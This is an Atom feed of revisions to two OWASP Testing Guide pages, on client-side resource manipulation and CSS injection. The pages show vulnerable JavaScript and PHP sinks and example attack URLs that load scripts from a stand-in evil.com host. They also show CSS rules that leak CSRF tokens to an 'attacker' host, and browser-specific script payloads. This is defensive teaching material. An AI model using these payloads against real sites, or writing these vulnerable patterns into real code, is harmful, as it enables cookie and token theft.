<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Mauro+Gentile</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Mauro+Gentile"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Mauro_Gentile"/>
		<updated>2026-04-27T19:45:40Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Client_Side_Resource_Manipulation_(OTG-CLIENT-006)&amp;diff=164766</id>
		<title>Testing for Client Side Resource Manipulation (OTG-CLIENT-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Client_Side_Resource_Manipulation_(OTG-CLIENT-006)&amp;diff=164766"/>
				<updated>2013-12-16T17:28:32Z</updated>
		
		<summary type="html">&lt;p&gt;Mauro Gentile: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
A ClientSide Resource Manipulation vulnerability is an input validation flaw that occurs when an application accepts an user controlled input which specifies the path of a resource (for example the source of an iframe, js, applet or the handler of an XMLHttpRequest). &amp;lt;br /&amp;gt;&lt;br /&gt;
Specifically, such a vulnerability consists in the ability to control the URLs which link to some resources present in a web page. The impact may vary on the basis of the type of the element whose URL is controlled by the attacker, and it is usually adopted to conduct Cross-Site Scripting attacks.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
Such a vulnerability occurs when the application employs user controlled URLs for referencing external/internal resources. In these circumstances it is possible to interfere with the expected application's behavior in the sense of making it load and render malicious objects. &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the &amp;quot;location.hash&amp;quot; (source) which reaches the attribute &amp;quot;src&amp;quot; of a script element. &amp;lt;br /&amp;gt;&lt;br /&gt;
This particular obviously leads XSS since an external JavaScript could be easily injected in the trusted web site.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt; &lt;br /&gt;
  var d=document.createElement(&amp;quot;script&amp;quot;); &lt;br /&gt;
  if(location.hash.slice(1)) &lt;br /&gt;
     d.src = location.hash.slice(1); &lt;br /&gt;
  document.body.appendChild(d); &lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Specifically the attacker could target the victim by asking her to visit the following URL: &lt;br /&gt;
www.victim.com/#http://evil.com/js.js&lt;br /&gt;
Where js.js contains:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
alert(document.cookie)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Controlling scripts' sources is a basic example, since some other interesting and more subtle cases can take place. A widespread scenario involves the possibility to control the URL called in a CORS request; since CORS allows the target resource to be accessible by the requesting domain through a header based approach, then the attacker may ask the target page to load malicious content loaded on its own web site. &amp;lt;br /&amp;gt;&lt;br /&gt;
Refer to the following vulnerable code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;b id=&amp;quot;p&amp;quot;&amp;gt;&amp;lt;/b&amp;gt; &lt;br /&gt;
&amp;lt;script&amp;gt; &lt;br /&gt;
 function createCORSRequest(method, url) { &lt;br /&gt;
  var xhr = new XMLHttpRequest(); &lt;br /&gt;
  xhr.open(method, url, true); &lt;br /&gt;
  xhr.onreadystatechange = function () { &lt;br /&gt;
   if (this.status == 200 &amp;amp;&amp;amp; this.readyState == 4) { &lt;br /&gt;
     document.getElementById('p').innerHTML = this.responseText; &lt;br /&gt;
   } &lt;br /&gt;
  }; &lt;br /&gt;
  return xhr; &lt;br /&gt;
 } &lt;br /&gt;
&lt;br /&gt;
 var xhr = createCORSRequest('GET', location.hash.slice(1)); &lt;br /&gt;
 xhr.send(null); &lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The “location.hash” is controlled by the attacker and it is used for requesting an external resource, which will be reflected through the construct “innerHTML”. Basically the attacker could ask the victim to visit the following URL and at the same time he could craft the payload handler.&lt;br /&gt;
&lt;br /&gt;
Exploit URL: www.victim.com/#http://evil.com/html.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://evil.com/html.html&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;?php &lt;br /&gt;
header('Access-Control-Allow-Origin: http://www.victim.com'); &lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for  Client Side Resource Manipulation is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Client Side Resource Manipulation vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
To manually check for this type of vulnerability we have to identify whether the application employs inputs without correctly validating them; these are under the control of the user which could be able to specify the url of some resources. &amp;lt;br /&amp;gt;&lt;br /&gt;
Since there are many resources that could be included into the application (for example images, video, object, css, frames etc.),  client side scripts which handle the associated URLs should be investigated for potential issues.&lt;br /&gt;
The following table shows the possible injection points (sink) that should be checked:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;| Resource Type&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;| Tag/Method&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;| Sink&lt;br /&gt;
|-&lt;br /&gt;
| Frame&lt;br /&gt;
| iframe&lt;br /&gt;
| src&lt;br /&gt;
|-&lt;br /&gt;
| Link&lt;br /&gt;
| a&lt;br /&gt;
| href&lt;br /&gt;
|-&lt;br /&gt;
| AJAX Request&lt;br /&gt;
| xhr.open(method, &amp;lt;i&amp;gt;[url]&amp;lt;/i&amp;gt;, true); &lt;br /&gt;
| URL&lt;br /&gt;
|-&lt;br /&gt;
| CSS&lt;br /&gt;
| link&lt;br /&gt;
| href&lt;br /&gt;
|-&lt;br /&gt;
| Image&lt;br /&gt;
| img&lt;br /&gt;
| src&lt;br /&gt;
|-&lt;br /&gt;
| Object&lt;br /&gt;
| object&lt;br /&gt;
| data&lt;br /&gt;
|-&lt;br /&gt;
| Script&lt;br /&gt;
| script&lt;br /&gt;
| src&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The most interesting ones are those that allow to an attacker to include client side code (for example JavaScript) since it could lead to an XSS vulnerabilities. &amp;lt;br /&amp;gt;&lt;br /&gt;
When trying to check for this kind of issues, consider that some characters are treated differently by different browsers.&lt;br /&gt;
Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[DOM based XSS Prevention Cheat Sheet]]&lt;br /&gt;
* DOMXSS.com - http://www.domxss.com&lt;br /&gt;
* DOMXSS TestCase - http://www.domxss.com/domxss/01_Basics/04_script_src.html&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
&lt;br /&gt;
* DOM XSS Wiki - https://code.google.com/p/domxsswiki/wiki/LocationSources&lt;br /&gt;
* Krzysztof Kotowicz: &amp;quot;Local or External? Weird URL formats on the loose&amp;quot; - http://kotowicz.net/absolute/&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&lt;br /&gt;
&lt;br /&gt;
* DOMinator - https://dominator.mindedsecurity.com/&lt;/div&gt;</summary>
		<author><name>Mauro Gentile</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Client_Side_Resource_Manipulation_(OTG-CLIENT-006)&amp;diff=164757</id>
		<title>Testing for Client Side Resource Manipulation (OTG-CLIENT-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Client_Side_Resource_Manipulation_(OTG-CLIENT-006)&amp;diff=164757"/>
				<updated>2013-12-16T16:54:40Z</updated>
		
		<summary type="html">&lt;p&gt;Mauro Gentile: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
A ClientSide Resource Manipulation vulnerability is an input validation flaw that occurs when an application accepts an user controlled input which specifies the path of a resource (for example the source of an iframe, js, applet or the handler of an XMLHttpRequest). &amp;lt;br /&amp;gt;&lt;br /&gt;
Specifically, such a vulnerability consists in the ability to control the URLs which link to some resources present in a web page. The impact may vary on the basis of the type of the element whose URL is controlled by the attacker, and it is usually adopted to conduct Cross-Site Scripting attacks.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
Such a vulnerability occurs when the application employs user controlled URLs for referencing external/internal resources. In these circumstances it is possible to interfere with the expected application's behavior in the sense of making it load and render malicious objects. &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the &amp;quot;location.hash&amp;quot; (source) which reaches the attribute &amp;quot;src&amp;quot; of a script element. &amp;lt;br /&amp;gt;&lt;br /&gt;
This particular obviously leads XSS since an external JavaScript could be easily injected in the trusted web site.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt; &lt;br /&gt;
  var d=document.createElement(&amp;quot;script&amp;quot;); &lt;br /&gt;
  if(location.hash.slice(1)) &lt;br /&gt;
     d.src = location.hash.slice(1); &lt;br /&gt;
  document.body.appendChild(d); &lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Specifically the attacker could target the victim by asking her to visit the following URL: &lt;br /&gt;
www.victim.com/#http://evil.com/js.js&lt;br /&gt;
Where js.js contains:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
alert(document.cookie)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Controlling scripts' sources is a basic example, since some other interesting and more subtle cases can take place. A widespread scenario involves the possibility to control the URL called in a CORS request; since CORS allows the target resource to be accessible by the requesting domain through a header based approach, then the attacker may ask the target page to load malicious content loaded on its own web site. &amp;lt;br /&amp;gt;&lt;br /&gt;
Refer to the following vulnerable code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;b id=&amp;quot;p&amp;quot;&amp;gt;&amp;lt;/b&amp;gt; &lt;br /&gt;
&amp;lt;script&amp;gt; &lt;br /&gt;
 function createCORSRequest(method, url) { &lt;br /&gt;
  var xhr = new XMLHttpRequest(); &lt;br /&gt;
  xhr.open(method, url, true); &lt;br /&gt;
  xhr.onreadystatechange = function () { &lt;br /&gt;
   if (this.status == 200 &amp;amp;&amp;amp; this.readyState == 4) { &lt;br /&gt;
     document.getElementById('p').innerHTML = this.responseText; &lt;br /&gt;
   } &lt;br /&gt;
  }; &lt;br /&gt;
  return xhr; &lt;br /&gt;
 } &lt;br /&gt;
&lt;br /&gt;
 var xhr = createCORSRequest('GET', location.hash.slice(1)); &lt;br /&gt;
 xhr.send(null); &lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The “location.hash” is controlled by the attacker and it is used for requesting an external resource, which will be reflected through the construct “innerHTML”. Basically the attacker could ask the victim to visit the following URL and at the same time he could craft the payload handler.&lt;br /&gt;
&lt;br /&gt;
Exploit URL: www.victim.com/#http://evil.com/html.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://evil.com/html.html&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;?php &lt;br /&gt;
header('Access-Control-Allow-Origin: http://www.victim.com'); &lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for  Client Side Resource Manipulation is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Client Side Resource Manipulation vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
To manually check for this type of vulnerability we have to identify if the application uses inputs, without correctly validating them, that are under the control of the user, to specify the url of some resources. &amp;lt;br /&amp;gt;&lt;br /&gt;
There are a lot of resources that could be included into an application (for example images, video, object, css, frames etc.) and all of these should be checked since all of theme should be avoided. &amp;lt;br /&amp;gt;&lt;br /&gt;
The following table shows the possible injection points (sink) that should be checked:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;| Resource Type&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;| Tag/Method&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;| Sink&lt;br /&gt;
|-&lt;br /&gt;
| Frame&lt;br /&gt;
| iframe&lt;br /&gt;
| src&lt;br /&gt;
|-&lt;br /&gt;
| Link&lt;br /&gt;
| a&lt;br /&gt;
| href&lt;br /&gt;
|-&lt;br /&gt;
| AJAX Request&lt;br /&gt;
| xhr.open(method, &amp;lt;i&amp;gt;[url]&amp;lt;/i&amp;gt;, true); &lt;br /&gt;
| URL&lt;br /&gt;
|-&lt;br /&gt;
| CSS&lt;br /&gt;
| link&lt;br /&gt;
| href&lt;br /&gt;
|-&lt;br /&gt;
| Image&lt;br /&gt;
| img&lt;br /&gt;
| src&lt;br /&gt;
|-&lt;br /&gt;
| Object&lt;br /&gt;
| object&lt;br /&gt;
| data&lt;br /&gt;
|-&lt;br /&gt;
| Script&lt;br /&gt;
| script&lt;br /&gt;
| src&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The most interesting are those that allow to an attacker to include client side code (for example JavaScript) since it could lead to an XSS vulnerability or controlling the handler of an Ajax request. &amp;lt;br /&amp;gt;&lt;br /&gt;
When trying to check for this kind of issues, consider that some characters are treated differently by different browsers.&lt;br /&gt;
Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[DOM based XSS Prevention Cheat Sheet]]&lt;br /&gt;
* DOMXSS.com - http://www.domxss.com&lt;br /&gt;
* DOMXSS TestCase - http://www.domxss.com/domxss/01_Basics/04_script_src.html&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
&lt;br /&gt;
* DOM XSS Wiki - https://code.google.com/p/domxsswiki/wiki/LocationSources&lt;br /&gt;
* Krzysztof Kotowicz: &amp;quot;Local or External? Weird URL formats on the loose&amp;quot; - http://kotowicz.net/absolute/&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&lt;br /&gt;
&lt;br /&gt;
* DOMinator - https://dominator.mindedsecurity.com/&lt;/div&gt;</summary>
		<author><name>Mauro Gentile</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_CSS_Injection_(OTG-CLIENT-005)&amp;diff=164755</id>
		<title>Testing for CSS Injection (OTG-CLIENT-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_CSS_Injection_(OTG-CLIENT-005)&amp;diff=164755"/>
				<updated>2013-12-16T16:35:00Z</updated>
		
		<summary type="html">&lt;p&gt;Mauro Gentile: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
A CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted web site, and this will be rendered inside the victim's browser. The impact of such a vulnerability may vary on the basis of the supplied CSS payload: it could lead to Cross-Site Scripting in particular circumstances, to data exfiltration in the sense of extracting sensitive data or to UI modifications. &lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
Such a vulnerability occurs when the application allows to supply user-generated CSS or it is possible to somehow interfere with the legit stylesheets. Injecting code in the CSS context gives the attacker the possibility to execute JavaScript in certain conditions as well as extracting sensitive values through CSS selectors and functions able to generate HTTP requests.  &amp;lt;br /&amp;gt;&lt;br /&gt;
Actually, giving the users the possibility to customize their own personal pages by using custom CSS files results in a considerable risk, and should be definitely avoided. &lt;br /&gt;
&lt;br /&gt;
The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the &amp;quot;location.hash&amp;quot; (source) which reaches the &amp;quot;cssText&amp;quot; function (sink). &amp;lt;br /&amp;gt;&lt;br /&gt;
This particular case may lead to DOMXSS in older browser versions, such as Opera, Internet Explorer and Firefox; for reference see DOM XSS Wiki, section &amp;quot;Style Sinks&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;a id=&amp;quot;a1&amp;quot;&amp;gt;Click me&amp;lt;/a&amp;gt; &lt;br /&gt;
&amp;lt;script&amp;gt; &lt;br /&gt;
  if (location.hash.slice(1)) { &lt;br /&gt;
    document.getElementById(&amp;quot;a1&amp;quot;).style.cssText = &amp;quot;color: &amp;quot; + location.hash.slice(1); &lt;br /&gt;
  } &lt;br /&gt;
&amp;lt;/script&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Specifically the attacker could target the victim by asking her to visit the following URLs:  &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;www.victim.com/#red;-o-link:'javascript:alert(1)';-o-link-source:current; (Opera [8,12])&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The same vulnerability may appear in the case of classical reflected XSS in which for instance the PHP code looks like the following: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;style&amp;gt; &lt;br /&gt;
p { &lt;br /&gt;
  color: &amp;lt;?php echo $_GET['color']; ?&amp;gt;; &lt;br /&gt;
  text-align: center; &lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/style&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Much more interesting attack scenarios involve the possibility to extract data through the adoption of pure CSS rules. Such attacks can be conducted through CSS selectors and leading for instance to grab anti-CSRF tokens, as follows; in particular, input[name=csrf_token][value=^a] represents an element with the attribute &amp;quot;name&amp;quot; set &amp;quot;csrf_token&amp;quot; and whose attribute &amp;quot;value&amp;quot; starts with &amp;quot;a&amp;quot;. By detecting the length of the attribute &amp;quot;value&amp;quot;, it is possible to carry out a brute force attack against it and send its value to the attacker's domain. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;style&amp;gt; &lt;br /&gt;
input[name=csrf_token][value=^a] { &lt;br /&gt;
  background-image: url(http://attacker/log?a); &lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/style&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Much more modern attacks involving a combination of SVG, CSS and HTML5 have been proven feasible, therefore we recommend to see the References section for details. &lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
We are referring to client-side testing, therefore blackbox testing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. However, it may happen that the user is given a certain degree of freedom in terms of possibilities to supply HTML code; in that case it is required to test whether no CSS injections are possible: tags like &amp;quot;link&amp;quot; and &amp;quot;style&amp;quot; should be disallowed, as well as attributes &amp;quot;style&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for CSS Injection vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
Manual testing needs to be conducted and the JavaScript code analyzed in order to understand whether the attackers can inject its own content in CSS context. In particular we should be interested in how the website returns CSS rules on the basis of the inputs. &amp;lt;br /&amp;gt;&lt;br /&gt;
Here follows a basic example: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;a id=&amp;quot;a1&amp;quot;&amp;gt;Click me&amp;lt;/a&amp;gt; &lt;br /&gt;
&amp;lt;b&amp;gt;Hi&amp;lt;/b&amp;gt; &lt;br /&gt;
&amp;lt;script&amp;gt; &lt;br /&gt;
  $(&amp;quot;a&amp;quot;).click(function(){ &lt;br /&gt;
    $(&amp;quot;b&amp;quot;).attr(&amp;quot;style&amp;quot;,&amp;quot;color: &amp;quot; + location.hash.slice(1)); &lt;br /&gt;
  }); &lt;br /&gt;
&amp;lt;/script&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The above code contains a source &amp;quot;location.hash&amp;quot; that is controlled by the attacker that can inject directly in the attribute &amp;quot;style&amp;quot; of an HTML element. As mentioned above, this may lead to different results on the basis of the adopted browser and the supplied payload. &amp;lt;br /&amp;gt;&lt;br /&gt;
We recommend to use the jQuery function css(property, value) in such circumstances as follows, since this would disallow any damaging injections. &amp;lt;br /&amp;gt;&lt;br /&gt;
In general, we recommend to use always a whitelist of allowed characters any time the input is reflected in the CSS context. &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;a id=&amp;quot;a1&amp;quot;&amp;gt;Click me&amp;lt;/a&amp;gt; &lt;br /&gt;
&amp;lt;b&amp;gt;Hi&amp;lt;/b&amp;gt; &lt;br /&gt;
&amp;lt;script&amp;gt; &lt;br /&gt;
  $(&amp;quot;a&amp;quot;).click(function(){ &lt;br /&gt;
    $(&amp;quot;b&amp;quot;).css(&amp;quot;color&amp;quot;,location.hash.slice(1)); &lt;br /&gt;
  }); &lt;br /&gt;
&amp;lt;/script&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[DOM based XSS Prevention Cheat Sheet]]&lt;br /&gt;
* DOMXSS Wiki - https://code.google.com/p/domxsswiki/wiki/CssText &lt;br /&gt;
&lt;br /&gt;
'''Presentations'''&amp;lt;br&amp;gt;&lt;br /&gt;
* DOM Xss Identification and Exploitation, Stefano Di Paola - http://dominator.googlecode.com/files/DOMXss_Identification_and_exploitation.pdf &lt;br /&gt;
* Got Your Nose! How To Steal Your Precious Data Without Using Scripts, Mario Heiderich - http://www.youtube.com/watch?v=FIQvAaZj_HA &lt;br /&gt;
* Bypassing Content-Security-Policy, Alex Kouzemtchenko - http://ruxcon.org.au/assets/slides/CSP-kuza55.pptx&lt;br /&gt;
&lt;br /&gt;
'''Proof of Concepts'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Password &amp;quot;cracker&amp;quot; via CSS and HTML5 - http://html5sec.org/invalid/?length=25 &lt;br /&gt;
* CSS attribute reading - http://eaea.sirdarckcat.net/cssar/v2/&lt;/div&gt;</summary>
		<author><name>Mauro Gentile</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_CSS_Injection_(OTG-CLIENT-005)&amp;diff=164754</id>
		<title>Testing for CSS Injection (OTG-CLIENT-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_CSS_Injection_(OTG-CLIENT-005)&amp;diff=164754"/>
				<updated>2013-12-16T16:32:04Z</updated>
		
		<summary type="html">&lt;p&gt;Mauro Gentile: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
A CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted web site, and this will be rendered inside the victim's browser. The impact of such a vulnerability may vary on the basis of the supplied CSS payload: it could lead to Cross-Site Scripting in particular circumstances, to data exfiltration in the sense of extracting sensitive data or to UI modifications. &lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
Such a vulnerability occurs when the application allows to supply user-generated CSS or it is possible to somehow interfere with the legit stylesheets. Injecting code in the CSS context gives the attacker the possibility to execute JavaScript in certain conditions as well as extracting sensitive values through CSS selectors and functions able to generate HTTP requests.  &amp;lt;br /&amp;gt;&lt;br /&gt;
Actually, giving the users the possibility to customize their own personal pages by using custom CSS files results in a considerable risk, and should be definitely avoided. &lt;br /&gt;
&lt;br /&gt;
The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the &amp;quot;location.hash&amp;quot; (source) which reaches the &amp;quot;cssText&amp;quot; function (sink). &amp;lt;br /&amp;gt;&lt;br /&gt;
This particular case may lead to DOMXSS in older browser versions, such as Opera, Internet Explorer and Firefox; for reference see DOM XSS Wiki, section &amp;quot;Style Sinks&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;a id=&amp;quot;a1&amp;quot;&amp;gt;Click me&amp;lt;/a&amp;gt; &lt;br /&gt;
&amp;lt;script&amp;gt; &lt;br /&gt;
  if (location.hash.slice(1)) { &lt;br /&gt;
    document.getElementById(&amp;quot;a1&amp;quot;).style.cssText = &amp;quot;color: &amp;quot; + location.hash.slice(1); &lt;br /&gt;
  } &lt;br /&gt;
&amp;lt;/script&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Specifically the attacker could target the victim by asking her to visit the following URLs:  &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;www.victim.com/#red;-o-link:'javascript:alert(1)';-o-link-source:current; (Opera [8,12])&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The same vulnerability may appear in the case of classical reflected XSS in which for instance the PHP code looks like the following: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;style&amp;gt; &lt;br /&gt;
p { &lt;br /&gt;
  color: &amp;lt;?php echo $_GET['color']; ?&amp;gt;; &lt;br /&gt;
  text-align: center; &lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/style&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Much more interesting attack scenarios involve the possibility to extract data through the adoption of pure CSS rules. Such attacks can be conducted through CSS selectors and leading for instance to grab anti-CSRF tokens, as follows; in particular, input[name=csrf_token][value=^a] represents an element with the attribute &amp;quot;name&amp;quot; set &amp;quot;csrf_token&amp;quot; and whose attribute &amp;quot;value&amp;quot; starts with &amp;quot;a&amp;quot;. By detecting the length of the attribute &amp;quot;value&amp;quot;, it is possible to carry out a brute force attack against it and send its value to the attacker's domain. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;style&amp;gt; &lt;br /&gt;
input[name=csrf_token][value=^a] { &lt;br /&gt;
  background-image: url(http://attacker/log?^a); &lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/style&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Much more modern attacks involving a combination of SVG, CSS and HTML5 have been proven feasible, therefore we recommend to see the References section for details. &lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
We are referring to client-side testing, therefore blackbox testing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. However, it may happen that the user is given a certain degree of freedom in terms of possibilities to supply HTML code; in that case it is required to test whether no CSS injections are possible: tags like &amp;quot;link&amp;quot; and &amp;quot;style&amp;quot; should be disallowed, as well as attributes &amp;quot;style&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for CSS Injection vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
